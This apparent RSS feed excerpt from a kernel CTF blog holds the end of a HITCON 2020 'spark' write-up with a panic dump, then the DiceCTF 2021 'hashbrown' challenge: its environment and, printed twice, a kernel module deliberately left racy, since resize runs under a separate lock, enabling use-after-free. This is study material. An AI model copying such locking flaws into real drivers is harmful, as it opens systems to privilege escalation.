&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.962646] R13: ffff88800dd4fb00 R14: ffff88800ddcaf80 R15: ffff88800dd4fb10
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963020] FS:  0000000001787380(0000) GS:ffff88800f600000(0000) knlGS:0000000000000000
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963489] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[   60.963832] CR2: 0000000000000010 CR3: 000000000de04000 CR4: 00000000000006f0
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Killed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, execute the program with &lt;code&gt;ffff88800dd4fb60&lt;/code&gt; (its R12 value of printed panic information).&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/HITCON/2020/spark&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>DiceCTF2021 hashbrown</title>
      <link>/posts/kernel/write-ups/ctf/dicectf2021-hashbrown/</link>
      <pubDate>Tue, 11 Feb 2025 13:29:06 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/dicectf2021-hashbrown/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source&#34;&gt;&lt;code&gt;5.11.0-rc3&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB=y&lt;/li&gt;
&lt;li&gt;CONFIG_FG_KASLR=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unprivileged_userfaultfd: 1&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;381792654&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;381792654&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-module.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/mutex.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;

#define DEVICE_NAME &amp;#34;hashbrown&amp;#34;
#define CLASS_NAME &amp;#34;hashbrown&amp;#34;

MODULE_AUTHOR(&amp;#34;FizzBuzz101&amp;#34;);
MODULE_DESCRIPTION(&amp;#34;Here&amp;#39;s a hashbrown for everyone!&amp;#34;);
MODULE_LICENSE(&amp;#34;GPL&amp;#34;);

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size &amp;gt;&amp;gt; 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize(&amp;#34;O1&amp;#34;)

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &amp;amp;&amp;amp;
        hashmap.size &amp;lt; SIZE_ARR_MAX) {
      mutex_lock(&amp;amp;resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&amp;amp;resize_lock);
      return result;
    }
  }

  mutex_lock(&amp;amp;operations_lock);
  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY &amp;amp;&amp;amp; hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&amp;amp;operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry-&amp;gt;next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse-&amp;gt;next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size &amp;lt; 1 || request.size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry-&amp;gt;next) {
        if (temp_entry-&amp;gt;key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry-&amp;gt;key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp-&amp;gt;key = temp_entry-&amp;gt;key;
        temp-&amp;gt;size = temp_entry-&amp;gt;size;
        temp-&amp;gt;value = temp_entry-&amp;gt;value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp-&amp;gt;size = request.size;
    temp-&amp;gt;value = temp_data;
    temp-&amp;gt;key = request.key;
    temp-&amp;gt;next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry-&amp;gt;key = key;
  temp_entry-&amp;gt;size = size;
  temp_entry-&amp;gt;value = temp_data;
  temp_entry-&amp;gt;next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp-&amp;gt;next != NULL; temp = temp-&amp;gt;next) {
      if (temp-&amp;gt;key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp-&amp;gt;key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp-&amp;gt;next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]-&amp;gt;key == key) {
    temp = hashmap.buckets[idx]-&amp;gt;next;
    if (hashmap.buckets[idx]-&amp;gt;value) {
      kfree(hashmap.buckets[idx]-&amp;gt;value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL &amp;amp;&amp;amp; temp-&amp;gt;key != key) {
    prev = temp;
    temp = temp-&amp;gt;next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev-&amp;gt;next = temp-&amp;gt;next;
  if (temp-&amp;gt;value) {
    kfree(temp-&amp;gt;value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (temp-&amp;gt;size != size) {
        if (temp-&amp;gt;value) {
          kfree(temp-&amp;gt;value);
        }
        temp-&amp;gt;value = NULL;
        temp-&amp;gt;size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp-&amp;gt;size = size;
        temp-&amp;gt;value = temp_data;
      } else {
        if (copy_from_user(temp-&amp;gt;value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      kfree(temp-&amp;gt;value);
      temp-&amp;gt;value = NULL;
      temp-&amp;gt;size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      if (size &amp;gt; temp-&amp;gt;size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp-&amp;gt;value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &amp;amp;hashbrown_fops);
  if (major &amp;lt; 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&amp;amp;operations_lock);
  mutex_init(&amp;amp;resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO &amp;#34;HashBrown Loaded! Who doesn&amp;#39;t love Hashbrowns!\n&amp;#34;);
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&amp;amp;operations_lock);
  mutex_destroy(&amp;amp;resize_lock);
  printk(KERN_INFO &amp;#34;HashBrown Unloaded\n&amp;#34;);
}

module_init(init_hashbrown);
module_exit(exit_hashbrown);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;This module allow us to add, delete and update key and value to hashmap.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v5.11-rc3/source&#34;&gt;&lt;code&gt;5.11.0-rc3&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;CONFIG_SLAB_FREELIST_RANDOM=y&lt;/li&gt;
&lt;li&gt;CONFIG_SLAB=y&lt;/li&gt;
&lt;li&gt;CONFIG_FG_KASLR=y&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;unprivileged_userfaultfd: 1&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: 0&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;module&#34;&gt;Module&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;381792654&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;381792654&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;DiceCTF2021-hashbrown-module.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/device.h&amp;gt;
#include &amp;lt;linux/fs.h&amp;gt;
#include &amp;lt;linux/kernel.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
#include &amp;lt;linux/mutex.h&amp;gt;
#include &amp;lt;linux/slab.h&amp;gt;
#include &amp;lt;linux/uaccess.h&amp;gt;

#define DEVICE_NAME &amp;#34;hashbrown&amp;#34;
#define CLASS_NAME &amp;#34;hashbrown&amp;#34;

MODULE_AUTHOR(&amp;#34;FizzBuzz101&amp;#34;);
MODULE_DESCRIPTION(&amp;#34;Here&amp;#39;s a hashbrown for everyone!&amp;#34;);
MODULE_LICENSE(&amp;#34;GPL&amp;#34;);

#define ADD_KEY 0x1337
#define DELETE_KEY 0x1338
#define UPDATE_VALUE 0x1339
#define DELETE_VALUE 0x133a
#define GET_VALUE 0x133b

#define SIZE_ARR_START 0x10
#define SIZE_ARR_MAX 0x200
#define MAX_ENTRIES 0x400
#define MAX_VALUE_SIZE 0xb0
#define GET_THRESHOLD(size) size - (size &amp;gt;&amp;gt; 2)

#define INVALID 1
#define EXISTS 2
#define NOT_EXISTS 3
#define MAXED 4

static DEFINE_MUTEX(operations_lock);
static DEFINE_MUTEX(resize_lock);
static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg);

static int major;
static struct class *hashbrown_class = NULL;
static struct device *hashbrown_device = NULL;
static struct file_operations hashbrown_fops = {.unlocked_ioctl =
                                                    hashmap_ioctl};

typedef struct {
  uint32_t key;
  uint32_t size;
  char *src;
  char *dest;
} request_t;

struct hash_entry {
  uint32_t key;
  uint32_t size;
  char *value;
  struct hash_entry *next;
};
typedef struct hash_entry hash_entry;

typedef struct {
  uint32_t size;
  uint32_t threshold;
  uint32_t entry_count;
  hash_entry **buckets;
} hashmap_t;
hashmap_t hashmap;

static noinline uint32_t get_hash_idx(uint32_t key, uint32_t size);

static noinline long resize(request_t *arg);
static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets);
static noinline void resize_clean_old(void);

static noinline long add_key(uint32_t idx, uint32_t key, uint32_t size,
                             char *src);
static noinline long delete_key(uint32_t idx, uint32_t key);
static noinline long update_value(uint32_t idx, uint32_t key, uint32_t size,
                                  char *src);
static noinline long delete_value(uint32_t idx, uint32_t key);
static noinline long get_value(uint32_t idx, uint32_t key, uint32_t size,
                               char *dest);

#pragma GCC push_options
#pragma GCC optimize(&amp;#34;O1&amp;#34;)

static long hashmap_ioctl(struct file *file, unsigned int cmd,
                          unsigned long arg) {
  long result;
  request_t request;
  uint32_t idx;

  if (cmd == ADD_KEY) {
    if (hashmap.entry_count == hashmap.threshold &amp;amp;&amp;amp;
        hashmap.size &amp;lt; SIZE_ARR_MAX) {
      mutex_lock(&amp;amp;resize_lock);
      result = resize((request_t *)arg);
      mutex_unlock(&amp;amp;resize_lock);
      return result;
    }
  }

  mutex_lock(&amp;amp;operations_lock);
  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    result = INVALID;
  } else if (cmd == ADD_KEY &amp;amp;&amp;amp; hashmap.entry_count == MAX_ENTRIES) {
    result = MAXED;
  } else {
    idx = get_hash_idx(request.key, hashmap.size);
    switch (cmd) {
      case ADD_KEY:
        result = add_key(idx, request.key, request.size, request.src);
        break;
      case DELETE_KEY:
        result = delete_key(idx, request.key);
        break;
      case UPDATE_VALUE:
        result = update_value(idx, request.key, request.size, request.src);
        break;
      case DELETE_VALUE:
        result = delete_value(idx, request.key);
        break;
      case GET_VALUE:
        result = get_value(idx, request.key, request.size, request.dest);
        break;
      default:
        result = INVALID;
        break;
    }
  }
  mutex_unlock(&amp;amp;operations_lock);
  return result;
}

static uint32_t get_hash_idx(uint32_t key, uint32_t size) {
  uint32_t hash;
  key ^= (key &amp;gt;&amp;gt; 20) ^ (key &amp;gt;&amp;gt; 12);
  hash = key ^ (key &amp;gt;&amp;gt; 7) ^ (key &amp;gt;&amp;gt; 4);
  return hash &amp;amp; (size - 1);
}

static noinline void resize_add(uint32_t idx, hash_entry *entry,
                                hash_entry **new_buckets) {
  if (!new_buckets[idx]) {
    new_buckets[idx] = entry;
  } else {
    entry-&amp;gt;next = new_buckets[idx];
    new_buckets[idx] = entry;
  }
}

static noinline void resize_clean_old() {
  int i;
  hash_entry *traverse, *temp;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      traverse = hashmap.buckets[i];
      while (traverse) {
        temp = traverse;
        traverse = traverse-&amp;gt;next;
        kfree(temp);
      }
      hashmap.buckets[i] = NULL;
    }
  }
  kfree(hashmap.buckets);
  hashmap.buckets = NULL;
  return;
}

static long resize(request_t *arg) {
  hash_entry **new_buckets, *temp_entry, *temp;
  request_t request;
  char *temp_data;
  uint32_t new_size, new_threshold, new_idx;
  int i, duplicate;

  if (copy_from_user((void *)&amp;amp;request, (void *)arg, sizeof(request_t))) {
    return INVALID;
  }
  if (request.size &amp;lt; 1 || request.size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  new_size = hashmap.size * 2;
  new_threshold = GET_THRESHOLD(new_size);
  new_buckets = kzalloc(sizeof(hash_entry *) * new_size, GFP_KERNEL);

  if (!new_buckets) {
    return INVALID;
  }

  duplicate = 0;
  for (i = 0; i &amp;lt; hashmap.size; i++) {
    if (hashmap.buckets[i]) {
      for (temp_entry = hashmap.buckets[i]; temp_entry != NULL;
           temp_entry = temp_entry-&amp;gt;next) {
        if (temp_entry-&amp;gt;key == request.key) {
          duplicate = 1;
        }
        new_idx = get_hash_idx(temp_entry-&amp;gt;key, new_size);
        temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
        if (!temp) {
          kfree(new_buckets);
          return INVALID;
        }
        temp-&amp;gt;key = temp_entry-&amp;gt;key;
        temp-&amp;gt;size = temp_entry-&amp;gt;size;
        temp-&amp;gt;value = temp_entry-&amp;gt;value;
        resize_add(new_idx, temp, new_buckets);
      }
    }
  }
  if (!duplicate) {
    new_idx = get_hash_idx(request.key, new_size);
    temp = kzalloc(sizeof(hash_entry), GFP_KERNEL);
    if (!temp) {
      kfree(new_buckets);
      return INVALID;
    }
    temp_data = kzalloc(request.size, GFP_KERNEL);
    if (!temp_data) {
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    if (copy_from_user(temp_data, request.src, request.size)) {
      kfree(temp_data);
      kfree(temp);
      kfree(new_buckets);
      return INVALID;
    }
    temp-&amp;gt;size = request.size;
    temp-&amp;gt;value = temp_data;
    temp-&amp;gt;key = request.key;
    temp-&amp;gt;next = NULL;
    resize_add(new_idx, temp, new_buckets);
    hashmap.entry_count++;
  }
  resize_clean_old();
  hashmap.size = new_size;
  hashmap.threshold = new_threshold;
  hashmap.buckets = new_buckets;
  return (duplicate) ? EXISTS : 0;
}

static long add_key(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp_entry, *temp;
  char *temp_data;
  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }

  temp_entry = kzalloc(sizeof(hash_entry), GFP_KERNEL);
  temp_data = kzalloc(size, GFP_KERNEL);
  if (!temp_entry || !temp_data) {
    return INVALID;
  }
  if (copy_from_user(temp_data, src, size)) {
    return INVALID;
  }
  temp_entry-&amp;gt;key = key;
  temp_entry-&amp;gt;size = size;
  temp_entry-&amp;gt;value = temp_data;
  temp_entry-&amp;gt;next = NULL;

  if (!hashmap.buckets[idx]) {
    hashmap.buckets[idx] = temp_entry;
    hashmap.entry_count++;
    return 0;
  } else {
    for (temp = hashmap.buckets[idx]; temp-&amp;gt;next != NULL; temp = temp-&amp;gt;next) {
      if (temp-&amp;gt;key == key) {
        kfree(temp_data);
        kfree(temp_entry);
        return EXISTS;
      }
    }
    if (temp-&amp;gt;key == key) {
      kfree(temp_data);
      kfree(temp_entry);
      return EXISTS;
    }
    temp-&amp;gt;next = temp_entry;
    hashmap.entry_count++;
    return 0;
  }
}

static long delete_key(uint32_t idx, uint32_t key) {
  hash_entry *temp, *prev;

  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  if (hashmap.buckets[idx]-&amp;gt;key == key) {
    temp = hashmap.buckets[idx]-&amp;gt;next;
    if (hashmap.buckets[idx]-&amp;gt;value) {
      kfree(hashmap.buckets[idx]-&amp;gt;value);
    }
    kfree(hashmap.buckets[idx]);
    hashmap.buckets[idx] = temp;
    hashmap.entry_count--;
    return 0;
  }
  temp = hashmap.buckets[idx];
  while (temp != NULL &amp;amp;&amp;amp; temp-&amp;gt;key != key) {
    prev = temp;
    temp = temp-&amp;gt;next;
  }
  if (temp == NULL) {
    return NOT_EXISTS;
  }
  prev-&amp;gt;next = temp-&amp;gt;next;
  if (temp-&amp;gt;value) {
    kfree(temp-&amp;gt;value);
  }
  kfree(temp);
  hashmap.entry_count--;
  return 0;
}

static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) {
  hash_entry *temp;
  char *temp_data;

  if (size &amp;lt; 1 || size &amp;gt; MAX_VALUE_SIZE) {
    return INVALID;
  }
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }

  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (temp-&amp;gt;size != size) {
        if (temp-&amp;gt;value) {
          kfree(temp-&amp;gt;value);
        }
        temp-&amp;gt;value = NULL;
        temp-&amp;gt;size = 0;
        temp_data = kzalloc(size, GFP_KERNEL);
        if (!temp_data || copy_from_user(temp_data, src, size)) {
          return INVALID;
        }
        temp-&amp;gt;size = size;
        temp-&amp;gt;value = temp_data;
      } else {
        if (copy_from_user(temp-&amp;gt;value, src, size)) {
          return INVALID;
        }
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long delete_value(uint32_t idx, uint32_t key) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      kfree(temp-&amp;gt;value);
      temp-&amp;gt;value = NULL;
      temp-&amp;gt;size = 0;
      return 0;
    }
  }
  return NOT_EXISTS;
}

static long get_value(uint32_t idx, uint32_t key, uint32_t size, char *dest) {
  hash_entry *temp;
  if (!hashmap.buckets[idx]) {
    return NOT_EXISTS;
  }
  for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp-&amp;gt;next) {
    if (temp-&amp;gt;key == key) {
      if (!temp-&amp;gt;value || !temp-&amp;gt;size) {
        return NOT_EXISTS;
      }
      if (size &amp;gt; temp-&amp;gt;size) {
        return INVALID;
      }
      if (copy_to_user(dest, temp-&amp;gt;value, size)) {
        return INVALID;
      }
      return 0;
    }
  }
  return NOT_EXISTS;
}

#pragma GCC pop_options

static int __init init_hashbrown(void) {
  major = register_chrdev(0, DEVICE_NAME, &amp;amp;hashbrown_fops);
  if (major &amp;lt; 0) {
    return -1;
  }
  hashbrown_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(hashbrown_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  hashbrown_device =
      device_create(hashbrown_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(hashbrown_device)) {
    class_destroy(hashbrown_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }
  mutex_init(&amp;amp;operations_lock);
  mutex_init(&amp;amp;resize_lock);

  hashmap.size = SIZE_ARR_START;
  hashmap.entry_count = 0;
  hashmap.threshold = GET_THRESHOLD(hashmap.size);
  hashmap.buckets = kzalloc(sizeof(hash_entry *) * hashmap.size, GFP_KERNEL);
  printk(KERN_INFO &amp;#34;HashBrown Loaded! Who doesn&amp;#39;t love Hashbrowns!\n&amp;#34;);
  return 0;
}

static void __exit exit_hashbrown(void) {
  device_destroy(hashbrown_class, MKDEV(major, 0));
  class_unregister(hashbrown_class);
  class_destroy(hashbrown_class);
  unregister_chrdev(major, DEVICE_NAME);
  mutex_destroy(&amp;amp;operations_lock);
  mutex_destroy(&amp;amp;resize_lock);
  printk(KERN_INFO &amp;#34;HashBrown Unloaded\n&amp;#34;);
}

